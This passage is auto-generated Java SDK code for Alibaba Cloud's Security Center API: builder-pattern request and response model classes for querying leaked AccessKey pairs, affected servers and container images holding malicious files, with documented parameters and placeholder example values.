* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The ID of the request.</p>
*
* <strong>example:</strong>
* <p>B37C9052-A73E-4707-A024-9247702852BE</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
/**
* <p>The total number of AccessKey pair leaks.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public DescribeAccesskeyLeakListResponseBody build() {
return new DescribeAccesskeyLeakListResponseBody(this);
}
}
/**
*
* {@link DescribeAccesskeyLeakListResponseBody} extends {@link TeaModel}
*
* <p>DescribeAccesskeyLeakListResponseBody</p>
*/
public static class AccessKeyLeakList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AccesskeyId")
private String accesskeyId;
@com.aliyun.core.annotation.NameInMap("AliUserName")
private String aliUserName;
@com.aliyun.core.annotation.NameInMap("Asset")
private String asset;
@com.aliyun.core.annotation.NameInMap("DealTime")
private String dealTime;
@com.aliyun.core.annotation.NameInMap("DealType")
private String dealType;
@com.aliyun.core.annotation.NameInMap("GmtModified")
private Long gmtModified;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
@com.aliyun.core.annotation.NameInMap("Type")
private String type;
@com.aliyun.core.annotation.NameInMap("Url")
private String url;
@com.aliyun.core.annotation.NameInMap("UserType")
private String userType;
private AccessKeyLeakList(Builder builder) {
this.accesskeyId = builder.accesskeyId;
this.aliUserName = builder.aliUserName;
this.asset = builder.asset;
this.dealTime = builder.dealTime;
this.dealType = builder.dealType;
this.gmtModified = builder.gmtModified;
this.id = builder.id;
this.status = builder.status;
this.type = builder.type;
this.url = builder.url;
this.userType = builder.userType;
}
public static Builder builder() {
return new Builder();
}
public static AccessKeyLeakList create() {
return builder().build();
}
/**
* @return accesskeyId
*/
public String getAccesskeyId() {
return this.accesskeyId;
}
/**
* @return aliUserName
*/
public String getAliUserName() {
return this.aliUserName;
}
/**
* @return asset
*/
public String getAsset() {
return this.asset;
}
/**
* @return dealTime
*/
public String getDealTime() {
return this.dealTime;
}
/**
* @return dealType
*/
public String getDealType() {
return this.dealType;
}
/**
* @return gmtModified
*/
public Long getGmtModified() {
return this.gmtModified;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
/**
* @return type
*/
public String getType() {
return this.type;
}
/**
* @return url
*/
public String getUrl() {
return this.url;
}
/**
* @return userType
*/
public String getUserType() {
return this.userType;
}
public static final class Builder {
private String accesskeyId;
private String aliUserName;
private String asset;
private String dealTime;
private String dealType;
private Long gmtModified;
private Long id;
private String status;
private String type;
private String url;
private String userType;
private Builder() {
}
private Builder(AccessKeyLeakList model) {
this.accesskeyId = model.accesskeyId;
this.aliUserName = model.aliUserName;
this.asset = model.asset;
this.dealTime = model.dealTime;
this.dealType = model.dealType;
this.gmtModified = model.gmtModified;
this.id = model.id;
this.status = model.status;
this.type = model.type;
this.url = model.url;
this.userType = model.userType;
}
/**
* <p>The ID of the AccessKey pair that is leaked.</p>
*
* <strong>example:</strong>
* <p>yourAccessKeyID</p>
*/
public Builder accesskeyId(String accesskeyId) {
this.accesskeyId = accesskeyId;
return this;
}
/**
* <p>The name of the Alibaba Cloud account that is affected.</p>
*
* <strong>example:</strong>
* <p>testAccountName</p>
*/
public Builder aliUserName(String aliUserName) {
this.aliUserName = aliUserName;
return this;
}
/**
* <p>The platform to which the asset belongs. The value is fixed as <strong>Cloud platform</strong>.</p>
*
* <strong>example:</strong>
* <p>Cloud platform</p>
*/
public Builder asset(String asset) {
this.asset = asset;
return this;
}
/**
* <p>The time when the AccessKey pair leak is handled.</p>
*
* <strong>example:</strong>
* <p>2020-12-03 21:23:38</p>
*/
public Builder dealTime(String dealTime) {
this.dealTime = dealTime;
return this;
}
/**
* <p>The method to handle the AccessKey pair leak. Valid values:</p>
* <ul>
* <li><strong>pending</strong>: The AccessKey pair leak is unhandled.</li>
* <li><strong>manual</strong>: The AccessKey pair leak is manually handled.</li>
* <li><strong>disable</strong>: The AccessKey pair leak is disabled.</li>
* <li><strong>add-whitelist</strong>: The AccessKey pair leak is added to the whitelist.</li>
* </ul>
*
* <strong>example:</strong>
* <p>pending</p>
*/
public Builder dealType(String dealType) {
this.dealType = dealType;
return this;
}
/**
* <p>The time when the AccessKey pair leak is first detected. The value of this parameter is a UNIX timestamp. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1612357897000</p>
*/
public Builder gmtModified(Long gmtModified) {
this.gmtModified = gmtModified;
return this;
}
/**
* <p>The primary key ID of the database.</p>
*
* <strong>example:</strong>
* <p>389357</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>Indicates whether the AccessKey pair leak is handled. Valid values:</p>
* <ul>
* <li><strong>pending</strong>: unhandled</li>
* <li><strong>dealed</strong>: handled</li>
* </ul>
*
* <strong>example:</strong>
* <p>pending</p>
*/
public Builder status(String status) {
this.status = status;
return this;
}
/**
* <p>The type of the leak. The value is fixed as <strong>AccessKey</strong>.</p>
*
* <strong>example:</strong>
* <p>AccessKey</p>
*/
public Builder type(String type) {
this.type = type;
return this;
}
/**
* <p>The URL of the platform on which the AccessKey pair leak is detected.</p>
*/
public Builder url(String url) {
this.url = url;
return this;
}
/**
* <p>The type of the account to which the leaked AccessKey pair belongs. Valid values:</p>
* <ul>
* <li><strong>master</strong>: Alibaba Cloud account</li>
* <li><strong>ram</strong>: RAM user</li>
* </ul>
*
* <strong>example:</strong>
* <p>master</p>
*/
public Builder userType(String userType) {
this.userType = userType;
return this;
}
public AccessKeyLeakList build() {
return new AccessKeyLeakList(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAffectedAssetsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAffectedAssetsRequest} extends {@link RequestModel}
*
* <p>DescribeAffectedAssetsRequest</p>
*/
public class DescribeAffectedAssetsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Current")
private String current;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Levels")
private String levels;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private String pageSize;
private DescribeAffectedAssetsRequest(Builder builder) {
super(builder);
this.current = builder.current;
this.levels = builder.levels;
this.pageSize = builder.pageSize;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAffectedAssetsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return current
*/
public String getCurrent() {
return this.current;
}
/**
* @return levels
*/
public String getLevels() {
return this.levels;
}
/**
* @return pageSize
*/
public String getPageSize() {
return this.pageSize;
}
public static final class Builder extends Request.Builder<DescribeAffectedAssetsRequest, Builder> {
private String current;
private String levels;
private String pageSize;
private Builder() {
super();
}
private Builder(DescribeAffectedAssetsRequest request) {
super(request);
this.current = request.current;
this.levels = request.levels;
this.pageSize = request.pageSize;
}
/**
* <p>The number of the page to return.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder current(String current) {
this.putQueryParameter("Current", current);
this.current = current;
return this;
}
/**
* <p>The severity. Separate multiple severities with commas (,). Valid values:</p>
* <ul>
* <li>serious</li>
* <li>suspicious</li>
* <li>remind</li>
* </ul>
*
* <strong>example:</strong>
* <p>serious,suspicious,remind</p>
*/
public Builder levels(String levels) {
this.putQueryParameter("Levels", levels);
this.levels = levels;
return this;
}
/**
* <p>The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.</p>
* <blockquote>
* <p>We recommend that you do not leave this parameter empty.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(String pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
@Override
public DescribeAffectedAssetsRequest build() {
return new DescribeAffectedAssetsRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAffectedAssetsResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAffectedAssetsResponse} extends {@link TeaModel}
*
* <p>DescribeAffectedAssetsResponse</p>
*/
public class DescribeAffectedAssetsResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAffectedAssetsResponseBody body;
private DescribeAffectedAssetsResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAffectedAssetsResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAffectedAssetsResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAffectedAssetsResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAffectedAssetsResponseBody body);
@Override
DescribeAffectedAssetsResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAffectedAssetsResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAffectedAssetsResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAffectedAssetsResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAffectedAssetsResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAffectedAssetsResponse build() {
return new DescribeAffectedAssetsResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAffectedAssetsResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAffectedAssetsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAffectedAssetsResponseBody</p>
*/
public class DescribeAffectedAssetsResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetList")
private java.util.List<AssetList> assetList;
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAffectedAssetsResponseBody(Builder builder) {
this.assetList = builder.assetList;
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAffectedAssetsResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return assetList
*/
public java.util.List<AssetList> getAssetList() {
return this.assetList;
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<AssetList> assetList;
private PageInfo pageInfo;
private String requestId;
private Builder() {
}
private Builder(DescribeAffectedAssetsResponseBody model) {
this.assetList = model.assetList;
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
}
/**
* <p>An array that consists of the affected servers.</p>
*/
public Builder assetList(java.util.List<AssetList> assetList) {
this.assetList = assetList;
return this;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The ID of the request.</p>
*
* <strong>example:</strong>
* <p>7E0618A9-D5EF-4220-9471-C42XXXXXXXX</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAffectedAssetsResponseBody build() {
return new DescribeAffectedAssetsResponseBody(this);
}
}
/**
*
* {@link DescribeAffectedAssetsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAffectedAssetsResponseBody</p>
*/
public static class AssetList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("RiskNum")
private Integer riskNum;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private AssetList(Builder builder) {
this.instanceId = builder.instanceId;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.riskNum = builder.riskNum;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static AssetList create() {
return builder().build();
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return riskNum
*/
public Integer getRiskNum() {
return this.riskNum;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private String instanceId;
private String instanceName;
private String internetIp;
private String intranetIp;
private Integer riskNum;
private String uuid;
private Builder() {
}
private Builder(AssetList model) {
this.instanceId = model.instanceId;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.riskNum = model.riskNum;
this.uuid = model.uuid;
}
/**
* <p>The ID of the server.</p>
*
* <strong>example:</strong>
* <p>11</p>
*/
public Builder instanceId(String instanceId) {
this.instanceId = instanceId;
return this;
}
/**
* <p>The name of the server.</p>
*
* <strong>example:</strong>
* <p>11</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the server.</p>
*
* <strong>example:</strong>
* <p>10.10.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the server.</p>
*
* <strong>example:</strong>
* <p>172.0.XX.XX</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The number of viruses detected on the server.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder riskNum(Integer riskNum) {
this.riskNum = riskNum;
return this;
}
/**
* <p>The UUID of the server.</p>
*
* <strong>example:</strong>
* <p>947d7514-258a-4b47-9dde-9dxxxxxxxxxx</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public AssetList build() {
return new AssetList(this);
}
}
}
/**
*
* {@link DescribeAffectedAssetsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAffectedAssetsResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on the current page.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries returned per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of entries returned.</p>
*
* <strong>example:</strong>
* <p>100</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAffectedMaliciousFileImagesRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAffectedMaliciousFileImagesRequest} extends {@link RequestModel}
*
* <p>DescribeAffectedMaliciousFileImagesRequest</p>
*/
public class DescribeAffectedMaliciousFileImagesRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ClusterId")
private String clusterId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ClusterName")
private String clusterName;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ContainerId")
private String containerId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
@com.aliyun.core.annotation.Validation(required = true)
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Image")
private String image;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ImageDigest")
private String imageDigest;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ImageLayer")
private String imageLayer;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ImageTag")
private String imageTag;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Levels")
private String levels;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("MaliciousMd5")
private String maliciousMd5;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Namespace")
private String namespace;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
@com.aliyun.core.annotation.Validation(required = true)
private String pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Pod")
private String pod;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("RepoId")
private String repoId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("RepoInstanceId")
private String repoInstanceId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("RepoName")
private String repoName;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("RepoNamespace")
private String repoNamespace;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("RepoRegionId")
private String repoRegionId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ScanRange")
private java.util.List<String> scanRange;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
private DescribeAffectedMaliciousFileImagesRequest(Builder builder) {
super(builder);
this.clusterId = builder.clusterId;
this.clusterName = builder.clusterName;
this.containerId = builder.containerId;
this.currentPage = builder.currentPage;
this.image = builder.image;
this.imageDigest = builder.imageDigest;
this.imageLayer = builder.imageLayer;
this.imageTag = builder.imageTag;
this.lang = builder.lang;
this.levels = builder.levels;
this.maliciousMd5 = builder.maliciousMd5;
this.namespace = builder.namespace;
this.pageSize = builder.pageSize;
this.pod = builder.pod;
this.repoId = builder.repoId;
this.repoInstanceId = builder.repoInstanceId;
this.repoName = builder.repoName;
this.repoNamespace = builder.repoNamespace;
this.repoRegionId = builder.repoRegionId;
this.scanRange = builder.scanRange;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAffectedMaliciousFileImagesRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return clusterId
*/
public String getClusterId() {
return this.clusterId;
}
/**
* @return clusterName
*/
public String getClusterName() {
return this.clusterName;
}
/**
* @return containerId
*/
public String getContainerId() {
return this.containerId;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return image
*/
public String getImage() {
return this.image;
}
/**
* @return imageDigest
*/
public String getImageDigest() {
return this.imageDigest;
}
/**
* @return imageLayer
*/
public String getImageLayer() {
return this.imageLayer;
}
/**
* @return imageTag
*/
public String getImageTag() {
return this.imageTag;
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return levels
*/
public String getLevels() {
return this.levels;
}
/**
* @return maliciousMd5
*/
public String getMaliciousMd5() {
return this.maliciousMd5;
}
/**
* @return namespace
*/
public String getNamespace() {
return this.namespace;
}
/**
* @return pageSize
*/
public String getPageSize() {
return this.pageSize;
}
/**
* @return pod
*/
public String getPod() {
return this.pod;
}
/**
* @return repoId
*/
public String getRepoId() {
return this.repoId;
}
/**
* @return repoInstanceId
*/
public String getRepoInstanceId() {
return this.repoInstanceId;
}
/**
* @return repoName
*/
public String getRepoName() {
return this.repoName;
}
/**
* @return repoNamespace
*/
public String getRepoNamespace() {
return this.repoNamespace;
}
/**
* @return repoRegionId
*/
public String getRepoRegionId() {
return this.repoRegionId;
}
/**
* @return scanRange
*/
public java.util.List<String> getScanRange() {
return this.scanRange;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
public static final class Builder extends Request.Builder<DescribeAffectedMaliciousFileImagesRequest, Builder> {
private String clusterId;
private String clusterName;
private String containerId;
private Integer currentPage;
private String image;
private String imageDigest;
private String imageLayer;
private String imageTag;
private String lang;
private String levels;
private String maliciousMd5;
private String namespace;
private String pageSize;
private String pod;
private String repoId;
private String repoInstanceId;
private String repoName;
private String repoNamespace;
private String repoRegionId;
private java.util.List<String> scanRange;
private String status;
private Builder() {
super();
}
private Builder(DescribeAffectedMaliciousFileImagesRequest request) {
super(request);
this.clusterId = request.clusterId;
this.clusterName = request.clusterName;
this.containerId = request.containerId;
this.currentPage = request.currentPage;
this.image = request.image;
this.imageDigest = request.imageDigest;
this.imageLayer = request.imageLayer;
this.imageTag = request.imageTag;
this.lang = request.lang;
this.levels = request.levels;
this.maliciousMd5 = request.maliciousMd5;
this.namespace = request.namespace;
this.pageSize = request.pageSize;
this.pod = request.pod;
this.repoId = request.repoId;
this.repoInstanceId = request.repoInstanceId;
this.repoName = request.repoName;
this.repoNamespace = request.repoNamespace;
this.repoRegionId = request.repoRegionId;
this.scanRange = request.scanRange;
this.status = request.status;
}
/**
* <p>The ID of the container cluster.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeGroupedContainerInstances~~">DescribeGroupedContainerInstances</a> operation to query the IDs of container clusters.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>c60b77fe62093480db6164a3c2fa5****</p>
*/
public Builder clusterId(String clusterId) {
this.putQueryParameter("ClusterId", clusterId);
this.clusterId = clusterId;
return this;
}
/**
* <p>The name of the cluster.</p>
*
* <strong>example:</strong>
* <p>minikube</p>
*/
public Builder clusterName(String clusterName) {
this.putQueryParameter("ClusterName", clusterName);
this.clusterName = clusterName;
return this;
}
/**
* <p>The ID of the container.</p>
*
* <strong>example:</strong>
* <p>cc20a1024011c44b6a8710d6f8b****</p>
*/
public Builder containerId(String containerId) {
this.putQueryParameter("ContainerId", containerId);
this.containerId = containerId;
return this;
}
/**
* <p>The number of the page to return. Pages start from page <strong>1</strong>. Default value: <strong>1</strong>.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The name of the container image.</p>
*
* <strong>example:</strong>
* <p>registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****</p>
*/
public Builder image(String image) {
this.putQueryParameter("Image", image);
this.image = image;
return this;
}
/**
* <p>The image digest.</p>
*
* <strong>example:</strong>
* <p>6a5e103187b31a94592a47a5858617f7a179ead61df7606****</p>
*/
public Builder imageDigest(String imageDigest) {
this.putQueryParameter("ImageDigest", imageDigest);
this.imageDigest = imageDigest;
return this;
}
/**
* <p>The image layer.</p>
*
* <strong>example:</strong>
* <p>27213ad375b53628dd152a5ca****</p>
*/
public Builder imageLayer(String imageLayer) {
this.putQueryParameter("ImageLayer", imageLayer);
this.imageLayer = imageLayer;
return this;
}
/**
* <p>The tag that is added to the image.</p>
*
* <strong>example:</strong>
* <p>0.2</p>
*/
public Builder imageTag(String imageTag) {
this.putQueryParameter("ImageTag", imageTag);
this.imageTag = imageTag;
return this;
}
/**
* <p>The language of the content within the request and the response. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The severity level of the malicious image sample. Separate multiple severity levels with commas (,). Valid values:</p>
* <ul>
* <li><strong>serious</strong></li>
* <li><strong>suspicious</strong></li>
* <li><strong>remind</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>serious,suspicious</p>
*/
public Builder levels(String levels) {
this.putQueryParameter("Levels", levels);
this.levels = levels;
return this;
}
/**
* <p>The MD5 hash value of the malicious image sample.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeGroupedMaliciousFiles~~">DescribeGroupedMaliciousFiles</a> operation to query the MD5 hash values of malicious image samples.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>d836968041f7683b5459****</p>
*/
public Builder maliciousMd5(String maliciousMd5) {
this.putQueryParameter("MaliciousMd5", maliciousMd5);
this.maliciousMd5 = maliciousMd5;
return this;
}
/**
* <p>The namespace.</p>
*
* <strong>example:</strong>
* <p>test-002</p>
*/
public Builder namespace(String namespace) {
this.putQueryParameter("Namespace", namespace);
this.namespace = namespace;
return this;
}
/**
* <p>The number of entries to return on each page. Default value: <strong>20</strong>.</p>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(String pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The pod.</p>
*
* <strong>example:</strong>
* <p>22222-7xsqq</p>
*/
public Builder pod(String pod) {
this.putQueryParameter("Pod", pod);
this.pod = pod;
return this;
}
/**
* <p>The ID of the image repository.</p>
* <blockquote>
* <p> You can call the <a href="https://help.aliyun.com/document_detail/451339.html">ListRepository</a> operation to query the IDs of image repositories from the value of the <strong>RepoId</strong> response parameter.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>crr-vridcl4****</p>
*/
public Builder repoId(String repoId) {
this.putQueryParameter("RepoId", repoId);
this.repoId = repoId;
return this;
}
/**
* <p>The ID of the container image.</p>
* <blockquote>
* <p> You can call the <a href="https://help.aliyun.com/document_detail/451339.html">ListRepository</a> operation to query the IDs of container images from the value of the <strong>InstanceId</strong> response parameter.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>cri-datvailb****</p>
*/
public Builder repoInstanceId(String repoInstanceId) {
this.putQueryParameter("RepoInstanceId", repoInstanceId);
this.repoInstanceId = repoInstanceId;
return this;
}
/**
* <p>The name of the image repository.</p>
* <blockquote>
* <p> Fuzzy match is supported.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>centos</p>
*/
public Builder repoName(String repoName) {
this.putQueryParameter("RepoName", repoName);
this.repoName = repoName;
return this;
}
/**
